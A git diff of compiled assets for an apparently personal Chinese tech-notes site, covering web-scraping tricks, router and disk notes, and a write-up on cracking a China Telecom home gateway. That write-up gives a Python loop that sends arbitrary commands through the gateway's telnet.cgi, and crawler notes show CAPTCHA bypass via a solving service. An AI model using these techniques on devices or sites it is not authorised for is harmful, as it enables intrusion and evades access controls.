`,14),r=[u];function d(k,v){return s(),a("div",null,r)}const b=n(l,[["render",d],["__file","爬虫-使用接口过tx滑块验证.html.vue"]]);export{b as default}; diff --git "a/assets/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html-MTH-4UYK.js" "b/assets/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html-MTH-4UYK.js" new file mode 100644 index 0000000..3d57855 --- /dev/null +++ "b/assets/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html-MTH-4UYK.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-323d42ea","path":"/python/%E7%88%AC%E8%99%AB-%E8%AE%B0%E4%B8%80%E6%AC%A1%E8%BF%87%E5%8F%8D%E7%88%AC%E8%99%AB%E7%9A%84%E7%BB%8F%E5%8E%86.html","title":"记一次过反爬虫的经历","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/爬虫-记一次过反爬虫的经历.md"}');export{t as data}; diff --git "a/assets/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html-vh6R4q31.js" "b/assets/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html-vh6R4q31.js" new file mode 100644 index 0000000..7cdfc3a --- /dev/null +++ "b/assets/\347\210\254\350\231\253-\350\256\260\344\270\200\346\254\241\350\277\207\345\217\215\347\210\254\350\231\253\347\232\204\347\273\217\345\216\206.html-vh6R4q31.js" @@ -0,0 +1 @@ +import{_ as e,o as t,c as l,b as _,d as o}from"./app-x8p6wK6B.js";const s={},n=_("h1",{id:"记一次过反爬虫的经历",tabindex:"-1"},[_("a",{class:"header-anchor",href:"#记一次过反爬虫的经历","aria-hidden":"true"},"#"),o(" 记一次过反爬虫的经历")],-1),i=_("p",null,"fakame.com",-1),c=_("p",null,"反爬表现特征: 1.云服务器第一次访问被拦截, 而本地调试时请求正常发送 2.被拦截时会返回一动态的js代码, 作用是重定向到当前网址 3.加上动态代理后, 即使访问该重定向网址, 下次请求也会被拦截 4.每天8点, 先使用代码访问, 被拦截, 此时使用浏览器访问一次, 然后再使用代码, 可正常工作",-1),a=_("p",null,"网站反爬模式 默认所有ip为黑ip, 当用户第一次访问时, 返回js代码重定向到原网页, 如果此次请求成功, 将该ip加白, 有效期约为1天",-1),d=_("p",null,"特征解读",-1),r=_("ol",null,[_("li",null,"调试时已使用浏览器访问过网站, 已经被加白"),_("li",null,"动态代理每次请求ip不同, 因此访问重定向网址的ip与原ip不同, 无法被加白, 即使被加白, 下次访问ip又发生变化, 无法抓取"),_("li",null,"使用本地浏览器访问, 即访问重定向网站, 给自己的ip加白, 此后使用本机ip即可正常访问")],-1),p=[n,i,c,a,d,r];function h(u,f){return t(),l("div",null,p)}const x=e(s,[["render",h],["__file","爬虫-记一次过反爬虫的经历.html.vue"]]);export{x as default}; diff --git "a/assets/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html-KN-jMbBx.js" "b/assets/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html-KN-jMbBx.js" new file mode 100644 index 0000000..3ce6776 --- /dev/null +++ "b/assets/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html-KN-jMbBx.js" @@ -0,0 +1,60 @@ +import{_ as n,o as s,c as a,a as t}from"./app-x8p6wK6B.js";const p="/assets/20200904175700699_9216-cL-SE0zR.png",o="/assets/20200907113712971_21558-UR7FKPl7.png",e={},c=t('+def get_ticket() -> dict: + import json + import time + import requests + """ + 返回可过验证码的ticket和randstr + :return: + {"ticket":"t039_9QCC5xXgpqgLzf2a3PsLAiF2mWGTo9NuFTGKnifb1Xp42wUqn5JUQ-XrAwsNLg4M3fvoZ-cQnCuXVKcDX5nOsPbozWMeQ_","randstr":"@qHZ"} + """ + print("需要人机验证,获取中~") + + aid = "2081701200" # 替换为你的aid + user = "******" + password = "******" + + session = requests.session() + + url = "http://gengduo.me/api/v1/alihd/wstask_tengx?aid={}&servertype=1&refer=&newtype=1&cap_cd=&asig=&user={}&pass={}".format( + aid, + user, password) + + # 尝试三次, 获取任务ID + for i in range(3): + try: + res = session.get(url, timeout=7).json() + print(res) + except: + pass + else: # 成功则停止 + break + else: # 均失败, 返回空 + return {} + + if "request_id" in res: + + request_id = res["request_id"] + + url = 'http://gengduo.me/api/v1/alihd/wstask_result?request_id={request_id}'.format(request_id=request_id) + print(url) + # 轮询60次 + for i in range(60): + print(">>>", i) + try: + res = session.get(url, timeout=7).json() + print(res) + except: + continue + + if "_status" in res and res["_status"] is True: + try: + res_json = json.loads(res["_data"]) + ticket = res_json["data"] + return ticket + except Exception as e: + print(e) + elif "_data" in res and "error" in str(res["_data"]): + return {} + time.sleep(3) + + return {} +
# 过简单js加密
背景: 爬虫需要过加密的, 其中使用了第三方库 pkg: https://www.cnblogs.com/mordom/p/8337337.html
# 0x00 chrome debug
在这里可以看到, 使用的是crypto-js
根据google 搜索到了这么一篇博文
https://www.codenong.com/js1a0dde3f1b57/
无奈本人对python 的Crypto模块 不太熟悉, 没能实现
只能编写js,并使用node 进行测试
使用前需安装node环境
+const r = require('crypto-js'); + +const { program } = require('commander'); +//https://github.com/tj/commander.js + +let crypto = { + Encrypt: function (t) { + var e = r.enc.Utf8.parse("t171420100302rsa") + , n = r.enc.Utf8.parse("t171420100302rsa") + , o = r.enc.Utf8.parse(t) + , i = r.AES.encrypt(o, e, { + iv: n, + mode: r.mode.CBC, + padding: r.pad.Pkcs7 + }); + return r.enc.Base64.stringify(i.ciphertext) + }, + decoto: function (t) { + var e = r.enc.Base64.parse(t) + , n = r.enc.Utf8.parse("t171420100302rsa") + , o = r.enc.Utf8.parse("t171420100302rsa") + , i = r.lib.CipherParams.create({ + ciphertext: e + }); + return r.AES.decrypt(i, n, { + iv: o, + mode: r.mode.CBC, + padding: r.pad.Pkcs7 + }).toString(r.enc.Utf8) + } +} + +let Encrypt=crypto.Encrypt; +let Decoto = crypto.decoto; + +program + .version('0.0.1') + .option("-E, --Encrypt <str>","Encrypt str") + .option("-D, --Decoto <str>","decoto str") + +program.parse(process.argv); + +if (program.Encrypt){ + console.log(Encrypt(program.Encrypt)) +} + +if (program.Decoto){ + console.log(Decoto(program.Decoto)) +} + +
初始化npm 并安装js依赖
npm init +npm i crypto-js +npm i commander +
然后使用命令行进行调用
+node main.js -D xxxxx + +
为了方便调用, 使用pkg 打包为linux 的可执行文件
pkg: https://www.cnblogs.com/mordom/p/8337337.html
pkg . + +
即可生成文件, 缺点是可执行文件比较大, 优点是开发成本比较低
使用:
-E 进行加密 -D 进行解密
',21),i=[c];function u(l,r){return s(),a("div",null,i)}const d=n(e,[["render",u],["__file","爬虫-过简单js加密.html.vue"]]);export{d as default}; diff --git "a/assets/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html-naBOMf9p.js" "b/assets/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html-naBOMf9p.js" new file mode 100644 index 0000000..bdeec67 --- /dev/null +++ "b/assets/\347\210\254\350\231\253-\350\277\207\347\256\200\345\215\225js\345\212\240\345\257\206.html-naBOMf9p.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-75f9e5c3","path":"/python/%E7%88%AC%E8%99%AB-%E8%BF%87%E7%AE%80%E5%8D%95js%E5%8A%A0%E5%AF%86.html","title":"过简单js加密","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"0x00 chrome debug","slug":"_0x00-chrome-debug","link":"#_0x00-chrome-debug","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/爬虫-过简单js加密.md"}');export{e as data}; diff --git "a/assets/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html-L-VpgyeW.js" "b/assets/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html-L-VpgyeW.js" new file mode 100644 index 0000000..51c38d6 --- /dev/null +++ "b/assets/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html-L-VpgyeW.js" @@ -0,0 +1,26 @@ +import{_ as e,o as i,c as n,a as s}from"./app-x8p6wK6B.js";const r={},d=s(`# 监控某个服务正常运行
`,2),l=[d];function t(v,c){return i(),n("div",null,l)}const u=e(r,[["render",t],["__file","监控某个服务正常运行.html.vue"]]);export{u as default}; diff --git "a/assets/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html-wDcK9f4R.js" "b/assets/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html-wDcK9f4R.js" new file mode 100644 index 0000000..ad22d43 --- /dev/null +++ "b/assets/\347\233\221\346\216\247\346\237\220\344\270\252\346\234\215\345\212\241\346\255\243\345\270\270\350\277\220\350\241\214.html-wDcK9f4R.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-118904ce","path":"/router/%E7%9B%91%E6%8E%A7%E6%9F%90%E4%B8%AA%E6%9C%8D%E5%8A%A1%E6%AD%A3%E5%B8%B8%E8%BF%90%E8%A1%8C.html","title":"监控某个服务正常运行","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"router/监控某个服务正常运行.md"}');export{t as data}; diff --git "a/assets/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html-6gnct4wC.js" "b/assets/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html-6gnct4wC.js" new file mode 100644 index 0000000..fd03f83 --- /dev/null +++ "b/assets/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html-6gnct4wC.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-564889a0","path":"/ops/%E7%A1%AC%E7%9B%98%E9%80%9F%E5%BA%A6%E6%B5%8B%E8%AF%95.html","title":"硬盘速度测试","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"linux 测试磁盘性能","slug":"linux-测试磁盘性能","link":"#linux-测试磁盘性能","children":[]},{"level":3,"title":"as ssd","slug":"as-ssd","link":"#as-ssd","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/硬盘速度测试.md"}');export{l as data}; diff --git "a/assets/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html-Wn0S-23-.js" "b/assets/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html-Wn0S-23-.js" new file mode 100644 index 0000000..162d442 --- /dev/null +++ "b/assets/\347\241\254\347\233\230\351\200\237\345\272\246\346\265\213\350\257\225.html-Wn0S-23-.js" @@ -0,0 +1 @@ +import{_ as s,o as e,c as t,a}from"./app-x8p6wK6B.js";const r="/assets/20220906182537987_26393-RRpH7fSK.png",n="/assets/20220906182619519_25504-S5OXFblH.png",c="/assets/20220906183511031_14728-0w-7xDcr.png",i="/assets/20220906193542887_24307-KvnRTBLz.png",o="/assets/20220906193606268_13713-foGFoJlc.png",_="/assets/20220906201131109_32680-zvh61D5d.png",d="/assets/20220906201150745_32638-kwaoj9AS.png",p={},l=a('#!/bin/sh +check_time=120 +sserver_port=\`uci get sserver.config.port\` + +vcount=0 +while [ "1" = "1" ] #死循环 +do + sleep $check_time + + icount=\`ps -w|grep ssr-server |grep -v grep |wc -l\` + + if [ $icount = 0 ] ;then + logger -t "ssr" "restart ssr server!" + /etc/init.d/sserver restart + exit 0 + fi + + icount=\`iptables -S|grep $sserver_port|wc -l\` + if [ $icount = 0 ] ;then + logger -t "sserver" "recover iptables,restart ssr server!" + /etc/init.d/sserver restart + exit 0 + fi + +done +
# 硬盘速度测试
# linux 测试磁盘性能
mkdir test-data fio --rw=write --ioengine=sync --fdatasync=1 --directory=test-data --size=2200m --bs=2300 --name=mytest
Ideally, your disk should reach over 500 IOPS and below 10ms for the 99th percentile fsync latency. Read the etcd Docs for more detailed requirements.
# as ssd
',12),h=[l];function m(f,g){return e(),t("div",null,h)}const x=s(p,[["render",m],["__file","硬盘速度测试.html.vue"]]);export{x as default}; diff --git "a/assets/\347\256\200\346\230\223\347\233\221\346\216\247.html-C4Pk3813.js" "b/assets/\347\256\200\346\230\223\347\233\221\346\216\247.html-C4Pk3813.js" new file mode 100644 index 0000000..7b8721f --- /dev/null +++ "b/assets/\347\256\200\346\230\223\347\233\221\346\216\247.html-C4Pk3813.js" @@ -0,0 +1 @@ +import{_ as t,o as d,c as a,a as e}from"./app-x8p6wK6B.js";const r="/assets/262282302625813-_qHSbY-g.png",h="/assets/26585610279198-qDPAQFRs.png",p="/assets/161005792836721-bV5MJt_O.png",s="/assets/270663025951564-grm2JTEW.png",i={},n=e('# 简易监控
# 23.9.20 开始写方案
# 方案1:POE录像机
tp 6104 120块钱 4口poe硬盘录像机 + 摄像头80*2 + 硬盘100~200 =280+100~280
可直播,可回放,不占用其他设备负载
# 方案2:单摄像头(纯娱乐)
海康摄像头dc(100) + n1(0)+1t(0) =100
串流直播,回放(存疑)
换新方案
pc+1tsata固态,拆下来500g用作POE录像机使用
pc+sata硬盘盒(利用海康威视1t)
鉴于目前我的1tssd也不够用,还是得早日提上日程 早用早享受
花费与寿命
4t机械=389 97.25 1t sata = 300 300 500g sata = 134 300 2t nvme = 500 250
综合以上,1tsata无任何意义,500gsata也无任何意义
本地pc 花费 老家pc 花费 监控方案 年份 总花费 分析 1t+2t+4t 500 1t+pcie x4转接 10 poe录像机+poe摄像头✖️2+500g机械 130+80✖️2 4年 510+x 爽 ,4t可以退役给nas用 1t+1t+4t 0 500gsata 159 poe录像机+poe摄像机✖️2+500g机械 130+80✖️2 2年 159+x sata老土,18年的ssd掉速 实践下,如果今天插上去测速还ok,则方案2 不ok,方案1
9.20 记录: c2000pro 速度还可以,而且里面有不少资料,还是留着较好
# 9.22记录
部署了开源nvr系统,购买了poe交换机+poe摄像头 n1部署nvr https://linuxpip.org/open-source-nvr/
# 最终方案
设备 方案 价格 图 NVR录像机 斐讯n1+Shinobi $0 (之前就有,150)开源录像系统,其实不是很专业,需要代替可以买80的录像机+好点的硬盘 硬盘 斐讯h1 1t $0 (之前就有,约250) poe交换机 tplink 百兆4口 ¥41 室内 水星4312p $75 院子 mipc428pw 100 大门口 mipc451 100 双摄 MIPC552W 179 # 9.25
实际测试发现,2.8mm视角也比较小,并且半球没有云台,也不能动,因此4312p放一个差一点的位置,然后补充
mipc428pw 和
mipc451
即可完成构建
# 10.8
最终方案就是75+40+100的方案
',29),c=[n];function o(_,l){return d(),a("div",null,c)}const b=t(i,[["render",o],["__file","简易监控.html.vue"]]);export{b as default}; diff --git "a/assets/\347\256\200\346\230\223\347\233\221\346\216\247.html-QE5yoi6q.js" "b/assets/\347\256\200\346\230\223\347\233\221\346\216\247.html-QE5yoi6q.js" new file mode 100644 index 0000000..ef8d9db --- /dev/null +++ "b/assets/\347\256\200\346\230\223\347\233\221\346\216\247.html-QE5yoi6q.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-307698ed","path":"/router/%E7%AE%80%E6%98%93%E7%9B%91%E6%8E%A7.html","title":"简易监控","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"23.9.20 开始写方案","slug":"_23-9-20-开始写方案","link":"#_23-9-20-开始写方案","children":[{"level":3,"title":"方案1:POE录像机","slug":"方案1-poe录像机","link":"#方案1-poe录像机","children":[]},{"level":3,"title":"方案2:单摄像头(纯娱乐)","slug":"方案2-单摄像头-纯娱乐","link":"#方案2-单摄像头-纯娱乐","children":[]}]},{"level":2,"title":"9.22记录","slug":"_9-22记录","link":"#_9-22记录","children":[{"level":3,"title":"最终方案","slug":"最终方案","link":"#最终方案","children":[]}]},{"level":2,"title":"9.25","slug":"_9-25","link":"#_9-25","children":[]},{"level":2,"title":"10.8","slug":"_10-8","link":"#_10-8","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"router/简易监控.md"}');export{l as data}; diff --git "a/assets/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html-467twRhv.js" "b/assets/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html-467twRhv.js" new file mode 100644 index 0000000..525c87e --- /dev/null +++ "b/assets/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html-467twRhv.js" @@ -0,0 +1 @@ +import{_ as a,r as n,o as t,c as d,b as e,d as o,e as i,a as p}from"./app-x8p6wK6B.js";const s={},c=p('# 网盘与同步
onedrive 个人版 5t 一年40人民币 而且网页版被墙
Seafile 自建网盘
alist 一个展示网盘内容的工具,支持多种云存储
腾讯云服务器自建 一个月30,总共30g
自己家的宽带: +自己的服务器 insync mac上的工具,要付费,可以吧数据同步到本地某个目录 cloudmaster:可以挂载云端硬盘,免费版可以挂载一个, 无法指定目录,固定在/Users/name/Library/CloudStorage/ 目录下
syncthing:p2p,不需自己建
cryptomator: 加密数据后再上传至云盘 https://cryptomator.org/downloads/mac/thanks/
# 目前的选择:OneDrive
windows
# 他人智慧
# 按照分类
国内选云存储确实操心,我也是废了很多时间在这个问题上,但并没有找到一致的解决方案。我个人认为,目前最优方案是分割需求,采取不同的工具:
- 根据内容采用不同的服务,照片就 google photo 或者 icloud。我的照片大多从手机上来,这两者是同步最方便(其他网盘甚至都不能及时保证同步),最省电的。而且万一梯子被墙,大不了就是这两天照片同步不了,不是什么大问题。
图书,pdf,文章我用 evernote。国内外能访问,月 10G,手机电脑客户端都很方便,还能打标签,记笔记,全文搜索。
工作文档坚果云,dropbox。同步速度快,技术可靠。onedrive 的客户端(除 win 外)实在是难用,而且我经常遇到同步失败,可能是本地运营商的问题,也可能是客户端的问题,但总之是没法拿来工作的。而 gdrive 我听同事抱怨过几人合作,文件损坏的情况。工作文档力求可靠,绝对不能出错,而且我这里通常文件不大,所以技术是第一位的。
备份 onedrive + arq 5,前者解决存储,后者解决备份技术,量大便宜。
- 国内国外访问分割开,这个没办法,就算自建也绕不开 wall。所以工作文档,我是国内用坚果云,国外用 dropbox。备份用 onedrive,如果人在国外 gdrive 可能更划算?
希望我的经验能帮到你,我也期待更好的解决方案。
',19),h={id:"知乎",tabindex:"-1"},l=e("a",{class:"header-anchor",href:"#知乎","aria-hidden":"true"},"#",-1),_={href:"https://zhuanlan.zhihu.com/p/57863415",target:"_blank",rel:"noopener noreferrer"},x=e("p",null,"如果有可靠的梯子,Dropbox绝对称得上佼佼者,我同时用Dropbox,Onedrive,老婆用坚果云同步1万多个科研数据,比较下来还是Dropbox最好用最省心,即使是通过梯子,同步速度也是很快的。目前我的方案是,工作数据通过Dropbox同步,家里群晖NAS通过Cloud Sync跟Dropbox和坚果云再双向同步备份一个,这样手机端就可以随时访问dropbox不用梯子了。然后电脑上其他文件在NAS上定期备份一下,再定期做一下冷备份,我觉得应该差不多了。Dropbox用的Basic免费版,通过各种活动扩容了不少,存工作文档基本够用,后期不行的话考虑开个plus就行。之前Google Drive用来存一些手机导出的照片,因为不占空间,有了NAS,基本也可以停用了。所以,如果要找个坚果云的替代品,公有云里面Dropbox是首选。",-1);function b(u,f){const r=n("ExternalLinkIcon");return t(),d("div",null,[c,e("h2",h,[l,o(),e("a",_,[o("知乎"),i(r)])]),x])}const v=a(s,[["render",b],["__file","网盘与同步.html.vue"]]);export{v as default}; diff --git "a/assets/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html-z5dwokBU.js" "b/assets/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html-z5dwokBU.js" new file mode 100644 index 0000000..93ea0d2 --- /dev/null +++ "b/assets/\347\275\221\347\233\230\344\270\216\345\220\214\346\255\245.html-z5dwokBU.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-690fb1f4","path":"/ops/%E7%BD%91%E7%9B%98%E4%B8%8E%E5%90%8C%E6%AD%A5.html","title":"网盘与同步","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"目前的选择:OneDrive","slug":"目前的选择-onedrive","link":"#目前的选择-onedrive","children":[]},{"level":2,"title":"他人智慧","slug":"他人智慧","link":"#他人智慧","children":[]},{"level":2,"title":"按照分类","slug":"按照分类","link":"#按照分类","children":[]},{"level":2,"title":"知乎","slug":"知乎","link":"#知乎","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/网盘与同步.md"}');export{e as data}; diff --git "a/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html-0T1RzTzE.js" "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html-0T1RzTzE.js" new file mode 100644 index 0000000..71c88a0 --- /dev/null +++ "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html-0T1RzTzE.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-e50f7ea8","path":"/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_iptables.html","title":"[计算机网络]iptables","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[计算机网络]iptables.md"}');export{e as data}; diff --git "a/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html-oVpB3JjA.js" "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html-oVpB3JjA.js" new file mode 100644 index 0000000..7a41ea7 --- /dev/null +++ "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_iptables.html-oVpB3JjA.js" @@ -0,0 +1 @@ +import{_ as t,o as s,c,b as e,d as o}from"./app-x8p6wK6B.js";const a={},_=e("h1",{id:"计算机网络-iptables",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#计算机网络-iptables","aria-hidden":"true"},"#"),o(" [计算机网络]iptables")],-1),i=e("p",null,"-A {INPUT|OUTPUT}:将防火墙规则附加到输入或输出链。 -p icmp:使用 ICMP 协议。 -p icmp --icmp-type {0|8}OR :icmp 按数字(如“0”)或名称(如“回显回复”)匹配选项。--icmp-type {echo-reply|echo-request} -j {ACCEPT|REJECT|DROP}:告诉 Linux 如果数据包匹配该怎么做。接受表示让数据包通过。丢弃或拒绝表示将数据包丢弃在地板上。当您希望另一端(客户端或主机或机器人)知道端口无法访问时,请使用 REJECT 并使用 DROP 连接到您不希望人员/机器人/客户端看到的主机。 -m state --state NEW,ESTABLISHED,RELATED:使用 or 选项进行扩展 icmp 数据包匹配。这些值是:--ctstate-m state INVALID:数据包与未知连接关联。 NEW:数据包已启动新连接或以其他方式与未在两个方向上看到数据包的连接相关联。 ESTABLISHED:数据包与在两个方向上看到数据包的连接相关联。 RELATED:数据包正在启动新连接,但与现有连接相关联,例如 FTP 数据传输或 ICMP 错误。",-1),l=e("blockquote",null,[e("p",null,"https://wooyun.js.org/drops/Iptables%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B.html")],-1),p=[_,i,l];function n(r,E){return s(),c("div",null,p)}const h=t(a,[["render",n],["__file","计算机网络_iptables.html.vue"]]);export{h as default}; diff --git "a/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html-Sv4FYo54.js" "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html-Sv4FYo54.js" new file mode 100644 index 0000000..3717429 --- /dev/null +++ "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html-Sv4FYo54.js" @@ -0,0 +1 @@ +import{_,o as t,c as s,b as e,d as l}from"./app-x8p6wK6B.js";const n="/assets/20220226143036597_1542929079-MxXugexT.png",o={},i=e("h1",{id:"计算机网络-ip协议",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#计算机网络-ip协议","aria-hidden":"true"},"#"),l(" [计算机网络]ip协议")],-1),c=e("p",null,"ip协议非常简单,没有丢失重传等额外功能,这是因为作为底层协议,要尽可能简单高效,而且可以让应用层自己选择想要的传输协议(例如在线视频就不需要重发之前的包,因为他们已经过期)",-1),a=e("p",null,"特性",-1),r=e("ul",null,[e("li",null,"以逐跳的方式发送数据报"),e("li",null,"不可靠,但尽力而为"),e("li",null,"无连接")],-1),d=e("p",null,[e("img",{src:n,alt:""})],-1),p=[i,c,a,r,d];function u(h,f){return t(),s("div",null,p)}const x=_(o,[["render",u],["__file","计算机网络_ip协议.html.vue"]]);export{x as default}; diff --git "a/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html-cIjAa45A.js" "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html-cIjAa45A.js" new file mode 100644 index 0000000..f7d7942 --- /dev/null +++ "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_ip\345\215\217\350\256\256.html-cIjAa45A.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-75d78820","path":"/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_ip%E5%8D%8F%E8%AE%AE.html","title":"[计算机网络]ip协议","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[计算机网络]ip协议.md"}');export{t as data}; diff --git "a/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html--hNUIKTf.js" "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html--hNUIKTf.js" new file mode 100644 index 0000000..e15e34f --- /dev/null +++ "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html--hNUIKTf.js" @@ -0,0 +1 @@ +import{_,o as t,c as s,b as e,d as a}from"./app-x8p6wK6B.js";const c="/assets/20221213105953021_4596-gbj6KSr4.png",o={},r=e("h1",{id:"计算机网络-路由器",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#计算机网络-路由器","aria-hidden":"true"},"#"),a(" [计算机网络]路由器")],-1),n=e("p",null,[e("img",{src:c,alt:""})],-1),d=[r,n];function i(l,h){return t(),s("div",null,d)}const m=_(o,[["render",i],["__file","计算机网络_路由器.html.vue"]]);export{m as default}; diff --git "a/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html-2wDxlDEC.js" "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html-2wDxlDEC.js" new file mode 100644 index 0000000..ab13d78 --- /dev/null +++ "b/assets/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234_\350\267\257\347\224\261\345\231\250.html-2wDxlDEC.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-8353569e","path":"/web/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C_%E8%B7%AF%E7%94%B1%E5%99%A8.html","title":"[计算机网络]路由器","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/[计算机网络]路由器.md"}');export{e as data}; diff --git "a/assets/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html-2ZogijjF.js" "b/assets/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html-2ZogijjF.js" new file mode 100644 index 0000000..99ad2db --- /dev/null +++ "b/assets/\350\256\260\344\270\200\346\254\241\347\240\264\350\247\243\345\244\251\347\277\274\347\275\221\345\205\263.html-2ZogijjF.js" @@ -0,0 +1,23 @@ +import{_ as n,o as s,c as a,a as t}from"./app-x8p6wK6B.js";const p="/assets/20221222170415632_6307-cQMYUYI0.png",e="/assets/20221222171347277_19524-9pq0v9TU.png",o="/assets/20221222170648272_2876-kQFMy3_2.png",c="/assets/20221222170242535_17309-awGBiN82.png",i="/assets/20221222170248974_17861-n-cpp9fj.png",l={},u=t('# 记一次破解天翼网关
https://xz.aliyun.com/t/9046#toc-1
- 设备信息
2.首先获取超级密码 访问http://192.168.1.1:8080/cgi-bin/baseinfoSet.cgi
凯撒密码,编写python脚本来解密
- 使用超级账号密码登录
访问http://192.168.1.1:8080/cgi-bin/telnet.cgi通过InputCmd参数可以直接执行系统命令, 访问http://192.168.1.1:8080/cgi-bin/submit.cgi可以看到执行结果,
编写简单的脚本, 方便看回显
from urllib import parse +import requests + +host = "http://192.168.1.1:8080" +send_url = host+"/cgi-bin/telnet.cgi" +response_url = host+"/cgi-bin/submit.cgi" + +def f(cmd): + HEADERS = {'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'} + data = {"InputCmd":cmd} + + r = requests.post(send_url, data=parse.urlencode(data)).text + print("[-] send done:") + print(r) + + rep = requests.get(response_url).text + print('[-] resp:') + print(rep) +if __name__ == '__main__': + while True: + c = input("") + f(c) +
- 打开telnet
访问 192.168.1.1:8080/cgi-bin/telnetenable.cgi?telnetenable=1 即可
- 寻找telnet密码
